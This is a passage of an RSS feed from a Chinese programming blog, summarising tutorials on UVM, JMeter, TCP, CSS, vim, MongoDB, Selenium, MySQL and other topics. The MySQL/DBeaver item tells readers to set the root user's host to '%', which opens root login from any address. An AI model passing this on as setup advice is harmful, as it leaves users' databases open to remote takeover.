phase中，reset，configure，main，shutdowm是核心。这四个phase通常模拟DUT的正常工作方式：&#xA;reset_phase对DUT进行复位，初始化等操作。config_phase进行DUT的配置。DUT的运行主要在main_phase完成。shutdown_phase则是做一些DUT断电相关的操作。 通过细分实现DUT更加精确的控制。&#xA;5.1.3 phase的执行顺序&#xA;UVM有9个phase：&#xA;build_phase&#xA;connect_phase&#xA;end_of_elaboration_phase&#xA;start_of_simulation_phase&#xA;run_phase&#xA;extract_phase&#xA;check_phase&#xA;report_phase&#xA;final_phase&#xA;执行顺序可以从以下几个角度来看：&#xA;首先从整个验证平台或验证平台中的每个组件来看。9个function phase按照上表中各phase的顺序自上而下（此处指的是时间上的自上而下，即验证平台/组件的前一个phase执行完毕后再执行下一个phase。）执行的。其次是从每个function phase的角度来看。 build_phase是自上而下执行（此处指的是空间上的自上而下，即验证平台中的每个组件在UVM树中的顺序，由根节点向叶节点自上而下执行。如先执行env的 build_phase，再执行agent的build_phase，因为env在UVM树中的位置比agent更靠上。UVM树中同一层级的组件（如i_agent和o_agent）执行顺序是如何的？UVM源码表明按照组件名称的字典顺序（但UVM并未保证一直按组件实例化名称字典的顺序，如验证平台对同一层级组件执行顺序有要求，应该修改代码，消除这种对实例化名称时字典顺序的依赖））。除build_phase外，其他7个function phase执行顺序是自下而上（空间上，同build_phase）。run_phase也是按照自下而上（此处自下而上指的是空间上的，但是由于run_phase消耗仿真时间，所以又不同于第一条中的时间上的自上而下，function phase不消耗仿真时间，所以仿真时间不会改变。可以理解为将验证平台中各组件的run_phase按照自下而上的顺序使用fork join_none语句全部启动，所以对于run_phae的自下而上更准确的表达是，自下而上启动，并行运行）执行。 前文提到每个run_phase又具有12个run-time phase：&#xA;pre_reset_phase&#xA;reset_phase&#xA;post_reset_phase&#xA;pre_configure_phase&#xA;configure_phase&#xA;post_configure_phase&#xA;pre_main_phase&#xA;main_phase&#xA;post_main_phase&#xA;pre_shutdown_phase&#xA;shutdown_phase&#xA;post_shutdown_phase&#xA;从全局来看run phase和run-time的执行顺序按以下代码中顺序执行。&#xA;有几点需要说明：&#xA;run_phase和12个run-time phase是并行执行。&#xA;12个run-time phase按照上表中的顺序自上而下执行（确切的说是自上而下启动，并行运行）。</description>
    </item>
    <item>
      <title>Jmeter5.x之Linux下非GUI压测实战</title>
      <link>https://bchobby.github.io/posts/82664d790e484a6349d00cc205b83306/</link>
      <pubDate>Sun, 30 Oct 2022 11:02:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/82664d790e484a6349d00cc205b83306/</guid>
      <description>前言 使用Jmeter在非GUI环境对项目进行压测，属于高级测试工程师需掌握的技能之一；阅读本章需要掌握linux基本操作命令，jvm基础知识；也适合开发工程师了解Jmeter在非GUI环境的压测流程。&#xA;疑问：为什么要在非GUI环境使用Jmeter进行压测？为什么要求Jmeter和项目必须保持在同个内网压测？GUI环境使用Jmeter的图形界面操作挺方便的。&#xA;在windows等GUI环境下，由于windows的可视化操作界面，后台其他进程等都会占用系统资源，会导致Jmeter压测相关指标不精准；在linux等非GUI界面下，常规都是命令行操作模式，无没必要的进程占用系统资源，jmeter可以更好的进行压测，得到更精准的压测报告常规开发完成的项目都部署在远程Linux服务器上，测试人员如果使用windwos系统对远程Linux上的项目进行压测，由于还要多走网络通许协议，此时公司带宽或服务器带宽较低，同样也会导致测试结果不精准，所以一般是要求Jmeter和项目进行内网压测； 配置和要求 Jmeter压测脚本jmx：对接口“课程列表”和“秒杀接口”进行压测，集合点500，持续2分钟；&#xA;Linux服务器：CentOS 7.8，2核8G（推进使用云服务器，如阿里云，腾讯云等）&#xA;jdk要求：JDK8，Linux安装JDK教程，JDK官网&#xA;Linux文件上传下载，命令行操作工具：&#xA;mac使用： filezilla、item2win使用：winscp、putty、SecureCRT+FX 作者本地环境windows，使用SecureCRT+FX做服务器操作工具&#xA;案例实战 1、使用服务器命令工具创建目录；并将JDK8上传到服务器；&#xA;// 创建java目录，存放jdk和项目环境&#xA;mkdir /usr/local/java // 创建jmeter目录，存放jmeter压测软件&#xA;mkdir /usr/local/jmeter&#xA;2、解压JDK8&#xA;tar -zxvf jdk-8u181-linux-x64.tar.gz&#xA;3、配置环境变量&#xA;// 使用命令编写环境变量，在最底部加入jdk8的路径&#xA;vim /etc/profile&#xA;# jdk8环境变量，路径不能有中文或空格&#xA;JAVA_HOME=/usr/local/java/jdk8 //改成自己安装的jdk版本路径和地址&#xA;CLASSPATH=$JAVA_HOME/lib/&#xA;PATH=$PATH:$JAVA_HOME/bin&#xA;export PATH JAVA_HOME CLASSPATH&#xA;环境变量立刻生效，并查看环境变量配置结果&#xA;source /etc/profile&#xA;查看安装情况 java -version，显示版本号则安装成功；&#xA;4、上传Jmeter5.x压缩包和压测jmx脚本到服务器；并使用命令对Jmeter5.x压缩包进行解压&#xA;安装解压工具：yum install unzip&#xA;Jmeter5.x压缩包，解压命令：unzip apache-jmeter-5.5&#xA;5、上传应用程序，并启动；&#xA;// 进入项目所在目录&#xA;cd /usr/local/java/jmeter&#xA;// 使用命令启动项目；守护进程方式，退出终端，进程依旧再&#xA;nohup java -Dfile.encoding=utf-8 -jar jmeter-edu.jar &amp;gt;jmeter-edu.log &amp;amp;&#xA;// 查看项目启动情况</description>
    </item>
    <item>
      <title>Spring Boot项目学习之通用权限管理项目02</title>
      <link>https://bchobby.github.io/posts/bd8d61c0e772622aa429b41cd679199c/</link>
      <pubDate>Sun, 30 Oct 2022 02:50:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bd8d61c0e772622aa429b41cd679199c/</guid>
      <description>接着上一篇，这里完成最基本的页面分页展示的功能。这也是权限管理系统的最基本功能的组成。&#xA;1. 创建业务层 创建service包，在该包下创建UrmsUserService.java 接口类及其实现类。&#xA;UrmsUserService.java&#xA;public interface UserService { /** * 新增用户（完整信息） * @param urmsUser * @return */ int insert(UrmsUser urmsUser); /** * 新增用户（不完整信息） * @param urmsUser * @return */ int insertSelective(UrmsUser urmsUser); /** * 根据ID修改用户信息（完全修改） * @param urmsUser * @return */ int updateByPrimaryKey(UrmsUser urmsUser); /** * 根据ID修改用户信息（部分修改） * @param urmsUser * @return */ int updateByPrimaryKeySelective(UrmsUser urmsUser); /** * 根据ID删除用户信息 * @param urmsUserId * @return */ int deleteByPrimaryKey(Integer urmsUserId); /** * 根据ID查询用户 * @param urmsUserId * @return */ UrmsUser get(Integer urmsUserId); } UrmsUserServiceImpl.</description>
    </item>
    <item>
      <title>面经-网络&#43;操作系统</title>
      <link>https://bchobby.github.io/posts/ecb008b5a916fd4d619a4c432fe50c1d/</link>
      <pubDate>Sat, 29 Oct 2022 20:25:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ecb008b5a916fd4d619a4c432fe50c1d/</guid>
      <description>网络基础 TCP三次握手 一条视频讲清楚TCP协议与UDP协议-什么是三次握手与四次挥手_哔哩哔哩_bilibili&#xA;三次握手过程：&#xA;客户端——发送带有SYN标志的数据包——服务端 一次握手 Client进入syn_send状态&#xA;服务端——发送带有SYN/ACK标志的数据包——客户端 二次握手 服务端进入syn_rcvd&#xA;客户端——发送带有ACK标志的数据包——服务端 三次握手 连接就进入Established状态&#xA;为什么三次：&#xA;主要是为了建立可靠的通信信道，保证客户端与服务端同时具备发送、接收数据的能力&#xA;为什么两次不行？&#xA;假设采用两次握手建立连接,客户端向服务端发送了一个SYN包来请求建立连接，因为某些原因，并未到达服务器，在中间某个网络节点产生了滞留，为了建立连接客户端会重发SYN包，这次数据包正常送达，服务端回复SYN+ACK，之后建立连接。但是第一包数据阻塞的网络节点突然恢复，第一包SYN包又送达到服务端，这时服务端会误认为是客户端又发起了一个新的连接，这样服务端进入等待数据状态，这样客户端认为是一个连接，服务端认为是两个连接。 TCP协议如何处理丢包问题以及乱序问题&#xA;TCP为每一个连接，建立一个发送缓冲区，从建立链接后的第一个字节的序列号为0，后面每个字节的序列号就会增加1，发送数据时，从发送缓冲区，取一部分数据组成发送报文，在发送报文的tcp协议头中会附带序列号和长度，接受端在收到数据后，需要回复确认报文，确认报文中的ACK，等于接收序列号加长度，也就是下一包数据要发送的起始序列号。这样一问一答的发送方式能够使发送端确认发送的数据已经被接收端收到，发送端也可以一次发送连续的多包数据，接收端只需要回复一次ACK就可以了，这样发送端，可以把待发送的数据分割成一系列的碎片发送到对端，对端根据序列号和长度，在接收后重构出来完整的数据。假设其中丢失了某些数据包，在接收端可以要求发送端重传，比如丢失了100-199这100个字节，接收端向发送端发送ACK=100的报文，发送端收到后重传这一包数据，接收端进行补全，以上过程不区分客户端和服务端，tcp连接是全双工的，对于两端来说都采取这种机制。&#xA;TCP四次挥手过程 四次挥手过程：&#xA;客户端——发送带有FIN标志的数据包——服务端，关闭与服务端的连接 ，客户端进入FIN-WAIT-1状态&#xA;服务端收到这个 FIN，它发回⼀ 个 ACK，确认序号为收到的序号加1，服务端就进入了CLOSE-WAIT状态&#xA;服务端——发送⼀个FIN数据包——客户端，关闭与客户端的连接，客户端就进入FIN-WAIT-2状态&#xA;客户端收到这个 FIN，发回 ACK 报⽂确认，并将确认序号设置为收到序号加1，TIME-WAIT状态&#xA;为什么四次：&#xA;因为需要确保客户端与服务端的数据能够完成传输。&#xA;CLOSE-WAIT：&#xA;这种状态的含义其实是表示在等待关闭&#xA;TIME-WAIT(等待超时时间)：&#xA;这是为了保证对方已收到ACK包，因为假设客户端发送完最后一包 ACK包后就释放了连接，一旦ACK包在网络中丢失，服务端将一直停留在最后确认状态，如果客户端发送最后一包ACK包后等待一段时间，这时服务端因为没有收到ACK包，会重发FIN包，客户端会响应这个FIN包，重发ACK包并刷新超时时间，也是为了保证在不可靠的网络链路中进行可靠的连接断开确认&#xA;如何查看TIME-WAIT状态的链接数量？&#xA;netstat -an |grep TIME_WAIT|wc -l 查看连接数等待time_wait状态连接数&#xA;为什么会TIME-WAIT过多？解决方法是怎样的？&#xA;可能原因： 高并发短连接的TCP服务器上，当服务器处理完请求后立刻按照主动正常关闭连接&#xA;解决：负载均衡服务器；Web服务器首先关闭来自负载均衡服务器的连&#xA;UDP协议 首先udp协议是基于非连接的，发送数据，就是简单地将数据包封装起来，然后从网卡发出去，数据包之间并没有状态上的联系，正因为udp这种简单的处理方式，导致他的性能损耗很小，资源占用也很小，但是对于网络传输过程中产生的丢包，UDP协议并不能保证，所以UDP在传输稳定性上要弱于tcp&#xA;1、OSI与TCP/IP 模型 OSI七层：物理层、数据链路层、网络层、传输层、会话层、表示层、应用层&#xA;2、TCP/IP模型各层的功能 TCP/IP五层：物理层、数据链路层、网络层、传输层、应用层 2、常见网络服务分层 应用层：HTTP、SMTP（支持电子邮件的 SMTP 协议）、DNS、FTP&#xA;传输层：TCP 、UDP&#xA;网络层：ICMP 、网际协议 IP 、NAT协议&#xA;网络接口层：以太网技术、MAC 协议、CSMA/CD 协议</description>
    </item>
    <item>
      <title>（思路）修复删除配置的管理员账户-与-修复临时账户配置</title>
      <link>https://bchobby.github.io/posts/b7d2bb8b286a87df5b2e86b00e253cca/</link>
      <pubDate>Sat, 29 Oct 2022 15:05:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b7d2bb8b286a87df5b2e86b00e253cca/</guid>
      <description>本文为作者遇到问题操作过程产生的思路，不一定能解决诸位的疑难杂症，但可参考一下。&#xA;修复删除配置的管理员账户 修复临时账户配置 修复的前提是，系统有2个及以上的管理员账户。&#xA;作者用其他管理员账户，不小心删除了主账户Administrator的用户配置文件，导致了一系列把作者搞懵了的问题。&#xA;前因是把默认配置文件复制覆盖搞错成删除了。有兴趣的可以看看这个：修复WIN7系统开机黑屏，只剩下鼠标能动的问题。_马克的异世界旅途的博客-CSDN博客&#xA;第一个问题是控制面板那个用户帐号的Administrator依旧存在，且无法删除，可是用户配置却已经没了。&#xA;如图所示，1是我其他的管理员账号，Administrator的配置文件已经没了。&#xA;控制面板那个用户帐号的Administrator依旧存在 为了避免本文过于水，所以作者会过滤掉那些我操作过的，但是却无效的过程。&#xA;因为这个Administrator账号魔愣了，无法正常登录，登录之后会新建临时用户配置，右下角就会有提示，用户文件夹是temp之类的，重启会再次建一个新的temp，所以作者是用管理员账号1操作的。&#xA;因为作者需要这个Administrator账号，所以必须要修复。&#xA;如何修复？&#xA;用户配置文件是保存在（C:\Users\）这里的，Administrator被删了，里面肯定没了这个文件夹了，只剩下唯一的管理员账号1.&#xA;运行命令：regedit，打开注册表。（注意，用其他管理员账号操作）&#xA;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList&#xA;s1521这几个文件夹，一一点击，看右边视图的ProfileImagePath列表， 把Administrator的账户删了，一般文件后缀会有.bak或者.公用之类的东西。&#xA;作者的这个是这样的。1000是admin，1003是1，500.bak是Administrator.公用。&#xA;所以作者把500.bak那个删了，然后重启，选择admin账户登录，系统会自动创建全新的Administrator用户配置，然后把那个管理员账号1删了就大功告成了。&#xA;正常的是这样的：&#xA;原本的状态显示的是临时，而不是本地</description>
    </item>
    <item>
      <title>选择器汇总</title>
      <link>https://bchobby.github.io/posts/f60db9e49e03f88f084629444f7c00d7/</link>
      <pubDate>Sat, 29 Oct 2022 00:52:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f60db9e49e03f88f084629444f7c00d7/</guid>
      <description>目录&#xA;选择器类型&#xA;通用选择器&#xA;标签选择器&#xA;类选择器&#xA;id选择器&#xA;属性选择器&#xA;伪类选择器&#xA;伪元素选择器&#xA;示例汇总&#xA;关系选择器&#xA;后代选择器&#xA;相邻后代选择器&#xA;兄弟选择器&#xA;相邻兄弟选择器&#xA;选择器权重&#xA;权重分配&#xA;原则&#xA;选择器类型 通用选择器 通用选择器以*选择页面上的所有的 HTML 元素&#xA;* { text-align: center; line-height: 50px; } 标签选择器 标签选择器根据标签名称来选择 HTML 元素。&#xA;p { color: red; width: 100px; height: 50px; border: 1px solid burlywood; } 类选择器 类选择器选择有特定 class 属性的 HTML 元素。以.开始&#xA;.class-selector { width: 100px; height: 50px; background-color: aquamarine; } id选择器 id 选择器使用 HTML 元素的 id 属性来选择特定元素。以#开始</description>
    </item>
    <item>
      <title>Buff/Cache概念和清理方法</title>
      <link>https://bchobby.github.io/posts/b64b3a5fafc1f9dc10c248a26f79dea4/</link>
      <pubDate>Fri, 28 Oct 2022 22:50:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b64b3a5fafc1f9dc10c248a26f79dea4/</guid>
      <description>最近在工作中遇到了LInux系统中Buff/Cache过大的问题，从网上查找资料，了解不释放的原因。&#xA;buff/cache占用比较大的原因分析：频繁存取文件会导致内存文件被用光，即便是程序结束后，也不会被正常释放，这就会导致buffer和cache占用比较高。&#xA;free -h total：是指计算机总物理内存。&#xA;used：已用的内存。&#xA;free：空余的内存。&#xA;shared：被多个进程共享的内存。&#xA;buffers：用于存放到输出到disk（块存储）的数据，在这里buff是指被OS buff住的内存。&#xA;cached: 存放从disk上读出的数据，buff和cache是为了提高IO性能并由OS管理的。&#xA;我们可以使用下面的命令进行清理：&#xA;1）清理pagecache（页面缓存） echo 1 &amp;gt; /proc/sys/vm/drop_caches或sysctl -w vm.drop_caches=1 2）清理dentries（目录缓存）和inodes echo 2 &amp;gt; /proc/sys/vm/drop_caches或sysctl -w vm.drop_caches=2 3）清理pagecache、dentries和inodes echo 3 &amp;gt; /proc/sys/vm/drop_caches或sysctl -w vm.drop_caches=3 编写脚本如下：&#xA;#!/bin/bash # # sync;sync;sync sleep(10) echo 3 &amp;gt; /proc/sys/vm/drop_caches 可见：Buff/Cache被清理。</description>
    </item>
    <item>
      <title>C语言——初识C语言（define定义常量和宏，指针，结构体）</title>
      <link>https://bchobby.github.io/posts/76fb58e18bb4b2886569859f3eb5bdf7/</link>
      <pubDate>Fri, 28 Oct 2022 22:06:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/76fb58e18bb4b2886569859f3eb5bdf7/</guid>
      <description>1.1define定义常量和宏 define 定义符号（定义常量） //define 定义标识符常量 #define MAX 1000 define 定义宏（宏是有参数的，参数用来替换） //define定义宏 #define ADD(x, y) ((x)+(y)) #include &amp;lt;stdio.h&amp;gt; int main() { int sum = ADD(2, 3); printf(&#34;sum = %d\n&#34;, sum); sum = 10*ADD(2, 3); printf(&#34;sum = %d\n&#34;, sum); return 0; } 2.1指针(地址) 我们在了解指针之前，就必须知道——&amp;lt;内存&amp;gt;&#xA;内存是电脑上特别重要的存储器，计算机中程序的运行都是在内存中进行的 。&#xA;所以为了有效的使用内存，就把内存划分成一个个小的内存单元&#xA;那么一个个小小的内存单元他们是怎么编号的呢？一个内存的单元到底是多大呢？&#xA;1：日常生活中，我们的计算机，要么是32位，要么是64位。&#xA;我们拿32位举例：32位 （ 指的是它有32个地址线 ）这里的地址线，指的就是物理线，当他通电的时候，要么显示1要么显示0。&#xA;在这样的一个过程中：电信号转化成了数字信号（0和1组成的二进制序列）&#xA;因此我们可以知道，再是32位的时候，他的内存单元个数是2的32次方。这样依次编号。&#xA;2：在这里不妨做一个假设：假设一个内存单元的大小是 1bit。&#xA;那么2的32次方就有 42 9496 7296个bit&#xA;化成字节就是 5 3687 0912个byte&#xA;化成KB就是 524 288KB&#xA;化成MB就是 512MB&#xA;化成GB就是 0.</description>
    </item>
    <item>
      <title>只需要一招，改变你的网易云皮肤（仅限于PC端）</title>
      <link>https://bchobby.github.io/posts/244e85f2db0eb2bb3bf6bbb16fc883c9/</link>
      <pubDate>Fri, 28 Oct 2022 20:14:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/244e85f2db0eb2bb3bf6bbb16fc883c9/</guid>
      <description>我们废话不多说，直接上才艺。我们首先打开我们的网易云音乐。&#xA;第一步：点击设置——关于网易云音乐——下滑至最下面我们可以看到版本号，不确定的同学们可以试着点击检查与更新，来确定一下是不是最新版本。（检查完之后记得关闭网易云音乐！！！）&#xA;第二步：各位小伙伴可以根据接下来我提供的下载一个插件即可。链接我会放到文章的最后。&#xA;第三步：我们打开文件夹后，复制以下这个插件&#xA;第四步：我们回到电脑的桌面。我们右键网易云音乐图标——点击（打开文件所在位置）——我们进入网易云根目录，然后粘贴进去就可以了。&#xA;第五步：我们重新启动网易云音乐。记住先把自己的网易云音乐主题设置成——酷炫黑主题——然后我们打开设置——我们可以看到一个加载插件列表，我们点击。&#xA;第六步：我们点击进去之后，我们就可以看到一系列的插件列表，这里，先安装MOT开头的这个。&#xA;第七步：安装好之后，我们进入设置点击Choose File。我们就可以选择我们喜欢的壁纸啦！！！&#xA;接下来给大家来看一下效果&#xA;接下来给大家分享一下下载链接: https://pan.baidu.com/s/1GL3g1zQCmWVcYMm85UdxiQ&#xA;提取码: 4g5h 复制这段内容后打开百度网盘手机App，操作更方便哦&#xA;分享知识是一种美德，希望大家给一个免费的关注，博主接下来还会给大家更多好玩的，有趣的知识。&#xA;网盘里面还附有小编收藏的壁纸，仅供参考。</description>
    </item>
    <item>
      <title>【Linux学习】vim编辑器的使用</title>
      <link>https://bchobby.github.io/posts/c8e6ec06795ae2f0a9d84158377aeea5/</link>
      <pubDate>Fri, 28 Oct 2022 16:41:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c8e6ec06795ae2f0a9d84158377aeea5/</guid>
      <description>Linux环境中vim编辑器的使用 前言一、vim是什么？二、vim的使用1. vim的三种模式1.1 命令模式（Command mode）1.2 输入模式（Insert mode）1.3 底线命令模式（Last line mode） 2. vim命令集2.1 vim命令模式命令集2.2 vim底线模式命令集 前言 所有的 Unix Like 系统都会内建 vi 文书编辑器，其他的文书编辑器则不一定会存在。但是目前我们使用比较多的是 vim 编辑器。&#xA;vim 具有程序编辑的能力，可以主动的以字体颜色辨别语法的正确性，方便程序设计。&#xA;一、vim是什么？ vim 是从 vi 发展出来的一个文本编辑器。代码补全、编译及错误跳转等方便编程的功能特别丰富，在程序员中被广泛使用。简单的来说， vi 是老式的字处理器，不过功能已经很齐全了，但是还是有可以进步的地方。 vim 则可以说是程序开发者的一项很好用的工具。&#xA;vim键盘图&#xA;二、vim的使用 1. vim的三种模式 基本上 vim 共分为三种模式，分别是命令模式（Command mode），输入模式（Insert mode）和底线命令模式（Last line mode）。&#xA;1.1 命令模式（Command mode） 当我们在命令行输入vim，就启动了vim，进入了命令模式。&#xA;此状态下敲击键盘动作会被vim识别为命令，而非输入字符。比如我们此时按下i，并不会输入一个字符，i被当作了一个命令。&#xA;以下是常用的几个命令：&#xA;i 切换到输入模式，以输入字符。x 删除当前光标所在处的字符。: 切换到底线命令模式，以在最底一行输入命令。 若想要编辑文本：启动vim，进入了命令模式，按下i，切换到输入模式。&#xA;命令模式只有一些最基本的命令，因此仍要依靠底线命令模式输入更多命令。&#xA;1.2 输入模式（Insert mode） 在命令模式下进入输入模式的方式：&#xA;输入a输入i输入o 在输入模式中，可以使用以下按键：&#xA;字符按键以及Shift组合，输入字符Enter，回车键，换行Back space，退格键，删除光标前一个字符Del，删除键，删除光标后一个字符方向键，在文本中移动光标Home/End，移动光标到行首/行尾Page Up/Page Down，上/下翻页Insert，切换光标为输入/替换模式，光标将变成竖线/下划线Esc，退出输入模式，切换到命令模式 1.3 底线命令模式（Last line mode） 在命令模式下按下:（英文冒号）就进入了底线命令模式。</description>
    </item>
    <item>
      <title>Python调用百度AI接口体验人像动漫化</title>
      <link>https://bchobby.github.io/posts/61671b852d0d9d2cf8b89e67e4066335/</link>
      <pubDate>Fri, 28 Oct 2022 16:29:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/61671b852d0d9d2cf8b89e67e4066335/</guid>
      <description>准备工作： 去百度AI注册账号并登录&#xA;选择 开放能力--&amp;gt;图像技术--&amp;gt;人像动漫画&#xA;选择 立即使用 点击红框内 去领取 领取资源 领取成功后去 应用列表--&amp;gt; +创建应用 填写相应信息后即可查看你的 API Key 和 Secret Key&#xA;操作步骤： 1.安装python-office 安装很简单，在有python环境的电脑上，使用windows命令行（我使用的是pycharm里的命令行）执行下面这一行命令即可安装python-office。&#xA;pip install -i https://pypi.tuna.tsinghua.edu.cn/simple python-office -U 2.pycharm输入以下代码生成动漫头像&#xA;# 导入这个库：python-office，简写为office import office office.image.img2Cartoon(path=&#39;&#39;,client_api=&#39;你的api key&#39;, client_secret=&#39;你的secret key&#39;) # 参数说明： # path: 真人照片/PDF的路径，例如：D://image//人.jpg # client_api: &#39;你的api key&#39; # client_secret: &#39;你的secret key&#39; 运行代码，在工作区路径下得到一张转换后的动漫头像result.jpg&#xA;错误总结： 1. python-office出错：ValueError: check_hostname requires server_hostname（其中解决方法之一）&#xA;解决方法：安装python-office一直提示错误发现是一个非常简单的问题，由于我开机自动启动VPN，结果导致连不上下载资料的服务器，只需将VPN关掉即可&#xA;2. python-office库出错&#xA;3.AttributeError: module &#39;office&#39; has no attribute &#39;image&#39;&#xA;第2和3点错误好像是因为我最开始安装的时候使用命令pip install python-office有问题，只需要使用我上面贴出来的命令重新安装python-office即可：</description>
    </item>
    <item>
      <title>大数据——MongoDB数据库操作实例</title>
      <link>https://bchobby.github.io/posts/3aff3812ba6f9e455f9291d86155187a/</link>
      <pubDate>Fri, 28 Oct 2022 16:21:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3aff3812ba6f9e455f9291d86155187a/</guid>
      <description>大数据——四种数据库（MySQL,HBase,MongoDB,Redis）操作实例 问题描述： student文档如下:&#xA;1. 根据上面给出的文档信息，用MongoDB模式设计student集合。&#xA;a) 设计完后，用find指令浏览集合的相关信息，给出截图。&#xA;b) 查询zhangsan 的Computer成绩,给出截图。&#xA;c) 修改lisi的Math成绩，改为95,给出截图。&#xA;2. 根据上面已经设计出的student集合,用MongoDB的JAVA客户端编程;&#xA;a) 添加数据：name: scofield，English:45 Math:89 Computer:100&#xA;b) 获取scofield的English成绩信息&#xA;问题解决： 1. 根据上面给出的文档信息，用MongoDB模式设计student集合。 设计集合代码：（复制粘贴代码时，要删除注释部分，下同）&#xA;hadoop@ -VirtualBox:~$ mongo//启动MongoDB&#xA;在&amp;gt;提示符下，分别键入如下语句：&#xA;&amp;gt; use Stu //数据库Stu被自动创建&#xA;&amp;gt; db.createCollection(&#39;student&#39;)//创建集合student&#xA;&amp;gt; show dbs//显示所有数据库&#xA;&amp;gt; use Stu&#xA;&amp;gt; var stus=[{&#34;name&#34;:&#34;zhangsan&#34;,&#34;scores&#34;:{&#34;English&#34;:69,&#34;Math&#34;:86,&#34;Computer&#34;:77}},{&#34;name&#34;:&#34;lisi&#34;,&#34;score&#34;:{&#34;English&#34;:55,&#34;Math&#34;:100,&#34;Computer&#34;:88}}] //注意，这个是一整行&#xA;&amp;gt; db.student.insert(stus)//向集合中插入数据&#xA;对应的Linux终端运行截图：&#xA;a) 设计完后，用find指令浏览集合的相关信息，给出截图。&#xA;&amp;gt; db.student.find().pretty() //显示集合信息&#xA;对应的Linux终端运行截图：&#xA;b) 查询zhangsan 的Computer成绩,给出截图。&#xA;&amp;gt; db.student.find({&#34;name&#34;:&#34;zhangsan&#34;},{&#34;_id&#34;:0,&#34;name&#34;:0}) //查询张三的成绩，不显示id和姓名&#xA;对应的Linux终端运行截图：&#xA;c) 修改lisi的Math成绩，改为95,给出截图。&#xA;&amp;gt; db.student.update({&#34;name&#34;:&#34;lisi&#34;}, {&#34;$set&#34;:{&#34;score.Math&#34;:95}} ) //修改李四的数学成绩&#xA;对应的Linux终端运行截图：</description>
    </item>
    <item>
      <title>Selenium上传文件与webdriver_helper的用法（Web UI）</title>
      <link>https://bchobby.github.io/posts/082f36026cd55a29915dbd09177372f8/</link>
      <pubDate>Fri, 28 Oct 2022 14:34:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/082f36026cd55a29915dbd09177372f8/</guid>
      <description>__author__ = &#39;Jeff.xie&#39; import os from selenium import webdriver from time import sleep from selenium.webdriver.common.by import By # 新建一个txt，里面内容如下，然后命名为upload.html # &amp;lt;h2&amp;gt;upload file&amp;lt;hr&amp;gt; # &amp;lt;input type=&#34;file&#34;&amp;gt; driver = webdriver.Chrome() driver.get(&#34;file:///D:/upload.html&#34;) #加载本地文件 input_ele = driver.find_element(By.XPATH,&#34;/html/body/h2/input&#34;) # input_ele.send_keys(r&#34;D:/Setting.png&#34;) #注意：文件一定要绝对路径 # 如果想要使用相对路径，可以把图片放在代码中，然后获取当前项目所在路径，与代码中图片的相对路径拼接 print(os.getcwd()) project_Path = os.getcwd() pic_abs= project_Path+&#34;/java.jpg&#34; input_ele.send_keys(pic_abs) sleep(1) 为什么要使用绝对路径 selenium 原理： python 控制chromedriver, chromedriver控制chrome浏览器 如果是相对路径就会有歧义，不知道是相对于谁的路径 webdriver_helper 的基本使用 搭建环境，需要Python3.9以上 pip install webdriver-helper from webdriver_helper import debugger,get_webdriver #get_webdriver()后,不使用with也会自动关闭浏览器 #with get_webdriver() as driver: # driver.</description>
    </item>
    <item>
      <title>如何使用DBeaver连接MySQL数据库？</title>
      <link>https://bchobby.github.io/posts/277b60fc6b5f630b7ad1133f4a16dd7d/</link>
      <pubDate>Fri, 28 Oct 2022 14:27:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/277b60fc6b5f630b7ad1133f4a16dd7d/</guid>
      <description>1、添加连接权限 服务器端启动MySQL后，用root用户连接&#xA;mysql -u root -p&#xA;输入密码进入MySQL终端，执行以下命令&#xA;use mysql; select host from user where user=&#39;root&#39;; 执行下列语句更新可远程访问该服务器的主机的ip范围&#xA;update user set host = &#39;%&#39; where user = &#39;root&#39;; flush privileges; 2、创建连接 先在控制台创建一个测试用的MySQL数据库test，然后在DBeaver中创建连接，配置如图&#xA;把allowPublicKeyRetrieval的值设为TRUE&#xA;测试连接后即可创建连接。</description>
    </item>
    <item>
      <title>电脑如何录制屏幕视频？介绍三个电脑录屏的小技巧</title>
      <link>https://bchobby.github.io/posts/114fbfb591e8f52122116ddf21e6873c/</link>
      <pubDate>Fri, 28 Oct 2022 13:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/114fbfb591e8f52122116ddf21e6873c/</guid>
      <description>电脑如何录制屏幕视频？很多时候我们除了需要使用到手机录屏之外，还需要使用到电脑录屏。比如录制软件的视频教程，然后进行剪辑分享。这个时候采用简单的电脑录屏方法，会让我们的操作更为简洁。这里小编就来给大家分享介绍几个简单的电脑录屏的方法。&#xA;方法一：使用电脑自带工具Xbox进行录制 相信很多小伙伴们还不知道电脑自带的录制功能吧，小编也是最近才得知的。首先我们我们在键盘上同时按下win＋G快捷键，唤出我们的电脑录屏界面。在录制界面中，我们可以根据自己的需要设置相关的参数。设置好之后，直接点击录制按钮即可。&#xA;方法二：使用专业的屏幕录制软件 第一步 打开我们电脑上的“迅捷视频剪辑软件”，打开软件之后，进入到软件的操作页面，点击【屏幕录像】操作。&#xA;第二步 接下来我们根据自己的需要进行录屏设置，内设视频选项、音频选项、画质设置和录制格式。选择好之后，我们直接点击下方的【开始录制】即可。录制完成后的视频文件会自动保存到电脑桌面，我们也可以将其加入到剪辑素材进行剪辑。&#xA;方法三：借助PPT制作工具 我们在电脑上新建一个PPT文档，进入文档之后，点击上放的【插入】-【屏幕录制】选项。我们可以看到会在页面当中弹出录制页面，我们设置相关的参数，并点击【开始录制】即可。&#xA;以上就是小编给大家分享的电脑录制屏幕的具体操作方法了，这三个方法都还是比较好用的。</description>
    </item>
    <item>
      <title>隐写术5道</title>
      <link>https://bchobby.github.io/posts/735e41458a3b4e0b16749a9fe467369e/</link>
      <pubDate>Fri, 28 Oct 2022 10:57:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/735e41458a3b4e0b16749a9fe467369e/</guid>
